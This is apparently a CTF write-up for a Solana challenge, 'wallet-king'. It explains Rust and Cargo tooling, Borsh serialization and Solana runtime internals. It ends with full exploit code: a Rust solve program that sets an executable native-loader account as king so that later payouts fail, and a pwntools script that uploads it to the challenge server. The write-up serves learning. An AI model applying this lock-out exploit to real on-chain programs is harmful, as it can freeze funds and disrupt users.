I started learning Solana with Dreamhack’s Solana Mars dream challenge. The challenge uses an older version of Solana, so setting up the environment can be tricky. After reading the Solana docs, I gained a rough understanding of Solana’s core concepts at a conceptual level—not at the source code level or in depth. However, the challenge itself isn’t too difficult. The hardest part is the environment setup :) With just the basic concepts, you can give it a try.
I’ll provide references in my Notion:
- https://solana.com/docs/core
- https://lkmidas.github.io/posts/20221128-n1ctf2022-writeups
- https://taegit.tistory.com/14
- https://solanacookbook.com/kr/core-concepts/pdas.html#generating-pdas
Since I approached this top-down with unfamiliar Rust, it’s been a headlong dive—so here’s a summary of the basic project structure that might be helpful.
Rustc is the Rust compiler that compiles source code into actual binaries.
Cargo serves as both a Rust Package Manager and Build Tool, managing Rust projects. Instead of calling rustc directly to compile, cargo automatically selects the appropriate version and assists with the build. The cargo version is managed by rustup.
Cargo build-sbf is a custom build command for Solana—a subcommand (plugin) of cargo.
It cross-compiles for Solana BPF and internally uses toolchains like solana rustc or solana-build. It builds in .so format so it can be loaded directly onchain.
So the version of current cargo and the version of rustc or cargo used by cargo build-sbf can differ. The Solana CLI locks down its own Rust toolchain.
The cargo build-sbf version is managed through the Solana toolchain. Two versions exist—Solana CLI and Agave CLI. Since Solana core is now developed by Anza, using Agave CLI should work for building the latest Solana node.
You can read more abount the Solana eBPF Virtual Machine here. I’ll also cover it briefly in the cut-and-run below.
Anchor is a Solana framework. You can write Solana contracts in vanilla Rust, but using Anchor makes it much easier.
There’s agave-install, which manages the Agave CLI and AVM, which manages the Anchor CLI.

Now let’s take a look. Challenges are here.
Since I’m writing this write-up while also studying Rust, it might be a bit all over the place.
Pwn
wallet-king
The Makefile uses cargo build-sbf to build. You can enable or disable specific features with cargo build-sbf --features no-entrypoint, or set default = ["no-entrypoint"] in Cargo.toml to enable it by default. This prevents the entrypoint from being compiled, allowing the code to be used as a library or interface.
The wallet-king-solve package loads the wallet-king package and builds the wallet_king crate.
I’ve worked with build systems like Cargo, CMake, and GN. Each has its own characteristics, but they’re similar in how configurations propagate from the root.
[features]
no-entrypoint = []
[dependencies]
. . .
wallet-king = { version = "1.0.0", path = "../program", features = ["no-entrypoint"] }
#[cfg(not(feature = "no-entrypoint"))]
entrypoint!(process_instruction);
#[cfg(not(feature = "no-entrypoint"))]
fn process_instruction(
program: &Pubkey,
accounts: &[AccountInfo],
mut data: &[u8],
) -> ProgramResult {
match WalletKingInstructions::deserialize(&mut data)? {
WalletKingInstructions::ChangeKing { new_king } => change_king(program, accounts, &new_king),
WalletKingInstructions::Init => init(program, accounts),
}
}
Next, let’s take a closer look at Borsh, which came up while solving the challenge.
In Rust, #[...] is called an attribute. Attributes without a bang (!) after the hash (#) are called Outer attribute.
Attributes are used to:
- attach metadata to items (structs, functions, modules, etc.)
- influence how the compiler or macros treat items
The derive attribute invokes BorshDeserialize and BorshSerialize derive macros. Following their implementations shows that they generate impl blocks which implement the required associated items according to each trait.
Here, ChangeKing is a struckt-like enum variant, whereas Init is simply called an enum variant.
use borsh::{
BorshDeserialize,
BorshSerialize,
};
#[derive(BorshDeserialize, BorshSerialize)]
pub enum WalletKingInstructions {
ChangeKing { new_king: Pubkey },
Init,
}
. . .
#[derive(BorshDeserialize, BorshSerialize)]
pub struct KingWallet {
pub king: Pubkey,
}
Enum constructors can have either named or unnamed fields:
enum Animal {
Dog(String, f64),
Cat { name: String, weight: f64 },
}
The generated impl blocks can be inspected using the cargo-expand plugin. Since it is just a wrapper command, the same result can be obtained with cargo rustc --profile=check -- -Zunpretty=expanded:
pub enum WalletKingInstructions {
. . .
}
#[automatically_derived]
impl borsh::de::BorshDeserialize for WalletKingInstructions {
fn deserialize_reader<__R: borsh::io::Read>(reader: &mut __R)
-> ::core::result::Result<Self, borsh::io::Error> {
let tag =
<u8 as borsh::de::BorshDeserialize>::deserialize_reader(reader)?;
<Self as borsh::de::EnumExt>::deserialize_variant(reader, tag)
}
}
#[automatically_derived]
impl borsh::de::EnumExt for WalletKingInstructions {
fn deserialize_variant<__R: borsh::io::Read>(reader: &mut __R,
variant_tag: u8) -> ::core::result::Result<Self, borsh::io::Error> {
let mut return_value =
if variant_tag == 0u8 {
WalletKingInstructions::ChangeKing {
new_king: borsh::BorshDeserialize::deserialize_reader(reader)?,
}
} else if variant_tag == 1u8 {
WalletKingInstructions::Init
} else {
return Err(borsh::io::Error::new(borsh::io::ErrorKind::InvalidData,
::alloc::__export::must_use({
let res =
::alloc::fmt::format(format_args!("Unexpected variant tag: {0:?}",
variant_tag));
res
})))
};
Ok(return_value)
}
}
#[automatically_derived]
impl borsh::ser::BorshSerialize for WalletKingInstructions {
fn serialize<__W: borsh::io::Write>(&self, writer: &mut __W)
-> ::core::result::Result<(), borsh::io::Error> {
let variant_idx: u8 =
match self {
WalletKingInstructions::ChangeKing { .. } => 0u8,
WalletKingInstructions::Init => 1u8,
};
writer.write_all(&variant_idx.to_le_bytes())?;
match self {
WalletKingInstructions::ChangeKing { new_king, .. } => {
borsh::BorshSerialize::serialize(new_king, writer)?;
}
_ => {}
}
Ok(())
}
}
WalletKingInstructions::Init creates a PDA using the seed “KING_WALLET” in order to store who the current king is and to receive SOL. WalletKingInstructions::ChangeKing takes new_king as its payload. It is an ix that anyone can call; it transfers the balance minus the minimum required rent to the previous king’s address, and then reinitializes the wallet for the new king.
// accounts
// user
// king_wallet
// system_program
pub fn init(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let king_wallet = next_account_info(account_iter)?;
let _system_program = next_account_info(account_iter)?;
// create a PDA that receives the tips
let (pda, bump) = Pubkey::find_program_address(&[b"KING_WALLET"], program);
assert_eq!(pda, *king_wallet.key);
assert!(user.is_signer);
let rent = Rent::default();
invoke_signed(
&system_instruction::create_account(
&user.key,
&king_wallet.key,
rent.minimum_balance(std::mem::size_of::<KingWallet>()),
std::mem::size_of::<KingWallet>() as u64,
program,
),
&[user.clone(), king_wallet.clone()],
&[&[b"KING_WALLET", &[bump]]],
)?;
let king_wallet_data = KingWallet {
king: *user.key,
};
let mut data = king_wallet.try_borrow_mut_data()?;
king_wallet_data.serialize(&mut data.as_mut())?;
Ok(())
}
// accounts
// king
// king_wallet
pub fn change_king(program: &Pubkey, accounts: &[AccountInfo], new_king: &Pubkey) -> ProgramResult {
let iter = &mut accounts.iter();
let king: &AccountInfo<'_> = next_account_info(iter)?;
let king_wallet = next_account_info(iter)?;
let current_balance = king_wallet.lamports().saturating_sub(Rent::default().minimum_balance(std::mem::size_of::<KingWallet>()));
let mut data = king_wallet.try_borrow_mut_data()?;
let current_king_wallet = KingWallet::deserialize(&mut &data.as_mut()[..])?;
let current_king = current_king_wallet.king;
assert_eq!(current_king, *king.key);
let king_wallet_data = KingWallet {
king: *new_king,
};
king_wallet_data.serialize(&mut data.as_mut())?;
assert_eq!(*king_wallet.owner, *program);
**king_wallet.try_borrow_mut_lamports()? -= current_balance;
**king.try_borrow_mut_lamports()? += current_balance;
Ok(())
}
Let’s take a look at how the server performs the simulation. After processing the user’s ix, it calls ChangeKing; at this point, the server’s ix must fail in order for the flag to be printed.
async fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
. . .
// load programs
let solve_pubkey = match builder.input_program() {
Ok(pubkey) => pubkey,
Err(e) => {
writeln!(socket, "Error: cannot add solve program → {e}")?;
return Ok(());
}
};
. . .
let ixs = challenge.read_instruction(solve_pubkey).unwrap();
challenge.run_ixs_full(
&[ixs],
&[&user],
&user.pubkey(),
).await?;
. . .
WalletKingInstructions::ChangeKing { new_king: new_king.pubkey() }.serialize(&mut data).unwrap();
let change_king_ix = Instruction {
program_id: program_pubkey,
accounts: vec![
AccountMeta::new(king, false),
AccountMeta::new(pda, false),
],
data: data,
};
{
let res = challenge.run_ixs_full(
&[change_king_ix],
&[&user],
&user.pubkey(),
).await;
println!("res: {:?}", res);
if res.is_err() {
let flag = fs::read_to_string("flag.txt").unwrap();
writeln!(socket, "Flag: {}", flag)?;
return Ok(());
}
}
Challenges that use the OtterSec framework typically provide a Python script along with a solve package. Since this is the first challenge write-up, let’s briefly walk through it. The ix constructs the account list for invoking the instruction that calls our program, solve_pubkey. The x is treated as read-only, and the ix data length is set to zero — see sol-ctf-framework.
The reason becomes clear when looking at solve/src/lib.rs. The entrypoint directly maps to the solve(). Because this is an exploit program, there is no need to split the logic into multiple ixs.
r.sendline(b'2') # num_accounts
print("PROGRAM=", program)
r.sendline(b'x ' + str(program).encode())
print("USER=", user)
r.sendline(b'ws ' + str(user).encode())
r.sendline(b'0') # ix_data_len
So how can we force the tx to fail during processing? I started by searching for special accounts(accs) on Solscan. I noticed that the native loader has a balance of zero. While it hold tokens sent for burning or similar purposes, having zero SOL balance is very suspicious.

According to the reference, even writable, rent-exempt accounts can still reject lamport transfers. In particular, executable accounts cannot receive or send lamports—the runtime treats them as immutable.
That raises another question: where is set_lamports() actually called—here? Looking only at the code below, it initially made me wonder whether this was something like C++ style operator overloading.
pub fn change_king(program: &Pubkey, accounts: &[AccountInfo], new_king: &Pubkey) -> ProgramResult {
. . .
**king_wallet.try_borrow_mut_lamports()? -= current_balance;
**king.try_borrow_mut_lamports()? += current_balance;
. . .
}
After digging pretty deeply while going through cut-and-run, it finally became possible to explain what’s going on. One minor issue is that the most recently released version is 3.1.6, but in Cargo.toml the solana-program-test dependency is pinned to version 1.18.26. Since cut-and-run provides a local testing environment, it’s possible to xRef things directly and easily, which is why an older version shows up here.
At this point, the goal is just to get a rough sense of the overall flow, not a deep understanding, so the fact that it’s quite outdated doesn’t really matter. One nice thing about the Cargo ecosystem is that it doesn’t just pull in prebuilt .so files—it downloads the full source code and builds everything locally, making reproduction straightforward. Because of that, the source can be found under ~/.cargo/registry/src/, or alternatively browsed at https://github.com/anza-xyz/agave/tree/v1.18.26.
[package]
name = "cut-and-run"
. . .
[dev-dependencies]
solana-sdk = "1.18"
solana-program = "1.18"
. . .
solana-program-test = "1.18"
So, set_lamports() is invoked during the deserialization phase. A tx is processed by walking from the tx to the msg, and from the msg to the ix, following structure described in the Solana docs. There is a vm.invoke_function() call along this path, but at that point it is not yet the actual VM. However, this VM is merely a mockup. The use of a mocked VM enforced interface adherence and allows the runtime to invoke the builtin programs as an rBPF builtin function (or syscall)—see here. The runtime calls the entrypoint of the loader, which is a builtin program, and only the constructs the real VM. At that stage, the acc metadata and ix data required by the VM are serialized and mapped into memory in preparation for execution.

After the VM finished executing, the acc balance must have changed for set_lamports() to be applied as an update. This upadte then appears to be reflected in the accounts DB.
pub fn deserialize_parameters_aligned<I: IntoIterator<Item = usize>>(
transaction_context: &TransactionContext,
instruction_context: &InstructionContext,
copy_account_data: bool,
buffer: &[u8],
account_lengths: I,
) -> Result<(), InstructionError> {
. . .
if borrowed_account.get_lamports() != lamports {
borrowed_account.set_lamports(lamports)?;
}
Solution
I briefly considered cleaning up the code, but since this is just the first challenge, I decied to leave it as is. Writing code in Rust still feels a bit hit-or-miss at times.
use solana_program::{
account_info::{
next_account_info,
AccountInfo
},
entrypoint,
entrypoint::ProgramResult,
pubkey::Pubkey,
instruction::{AccountMeta, Instruction},
program::{
invoke,
invoke_signed
},
rent::Rent
};
use wallet_king::WalletKingInstructions;
use borsh::to_vec;
use std::str::FromStr;
use solana_program::msg;
use solana_program::sysvar::Sysvar;
use solana_system_interface::instruction as system_instruction;
entrypoint!(solve);
pub fn solve(program: &Pubkey, accounts: &[AccountInfo], _data: &[u8]) -> ProgramResult {
let account_iter = &mut accounts.iter();
let target = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let pda = next_account_info(account_iter)?;
let my_pda = next_account_info(account_iter)?;
let _system = next_account_info(account_iter)?;
let (_, bump) = Pubkey::find_program_address(&[b"FAKE_KING"], program);
let rent = Rent::default();
let space = 32;
// invoke_signed(
// &system_instruction::create_account(
// user.key,
// my_pda.key,
// rent.minimum_balance(space),
// space as u64,
// program,
// ),
// &[user.clone(), my_pda.clone()],
// &[&[b"FAKE_KING", &[bump]]]
// );
// let (pda, _) = Pubkey::find_program_address(&[b"KING_WALLET"], &target.key);
// msg!("test {:#?}", *program);
// let new_king = Pubkey::from_str("6dMiLqSqaR4Sm54jZgKUwSNrbucdpqqk7if2VXPcB7CD").unwrap();
// let mut data = vec![];
// WalletKingInstructions::ChangeKing { new_king: new_king.pubkey() }.serialize(&mut data).unwrap();
// let unique = Pubkey::new_unique();
// msg!("test {}", unique);
let ix = Instruction {
program_id: *target.key,
accounts: vec![
AccountMeta::new(*user.key, false),
AccountMeta::new(*pda.key, false),
// AccountMeta::new_readonly(*system.key, false),
// AccountMeta::new_readonly(system_program::id(), false),
],
// data: to_vec(&WalletKingInstructions::Init)?,
data: to_vec(&WalletKingInstructions::ChangeKing { new_king: Pubkey::from_str("NativeLoader1111111111111111111111111111111").unwrap() })?,
// data: to_vec(&WalletKingInstructions::ChangeKing { new_king: Pubkey::new_unique() })?,
};
invoke(&ix, &[user.clone(), pda.clone()])?;
let transfer_ix = system_instruction::transfer(
user.key,
pda.key,
100_000_000, // 0.1 SOL
);
invoke(&transfer_ix, &[user.clone(), pda.clone(), _system.clone()])?;
// let mut pda_data = pda.try_borrow_mut_data()?;
// for byte in pda_data.iter_mut() {
// *byte = 0xff;
// }
Ok(())
}
# import os
# os.system('cargo build-sbf')
from pwn import *
from solders.pubkey import Pubkey as PublicKey
from solders.system_program import ID
import base58
# context.log_level = 'debug'
host = args.HOST or 'wallet-king.chals.bp25.osec.io'
port = args.PORT or 1337
r = remote(host, port)
solve = open('./target/deploy/wallet_king_solve.so', 'rb').read()
r.recvuntil(b'program pubkey: ')
r.sendline(b'DtVXe8spALw7WfWexanVkAsfKzERTERNGgRsP7ZSAXVR')
r.recvuntil(b'program len: ')
r.sendline(str(len(solve)).encode())
r.send(solve)
r.recvuntil(b'program: ')
program = PublicKey(base58.b58decode(r.recvline().strip().decode()))
r.recvuntil(b'user: ')
user = PublicKey(base58.b58decode(r.recvline().strip().decode()))
seed = [b"KING_WALLET"]
pda, bump = PublicKey.find_program_address(seed, program)
seed = [b"FAKE_KING"]
my_pda, _ = PublicKey.find_program_address(seed, PublicKey(base58.b58decode('DtVXe8spALw7WfWexanVkAsfKzERTERNGgRsP7ZSAXVR')))
r.sendline(b'5')
print("PROGRAM=", program)
r.sendline(b'x ' + str(program).encode())
print("USER=", user)
r.sendline(b'ws ' + str(user).encode())
print("PDA =", pda)
r.sendline(b'w ' + str(pda).encode())
print("my_pda =", my_pda)
r.sendline(b'w ' + str(my_pda).encode())
print("system =", ID)
r.sendline(b'x ' + str(ID).encode())
r.sendline(b'0')
leak = r.recvuntil(b'Flag: ')
print(leak)
r.stream()
Reference
https://osec.io/blog/2025-05-14-king-of-the-sol
SHARE
TAGS
CTF SolanaCATEGORIES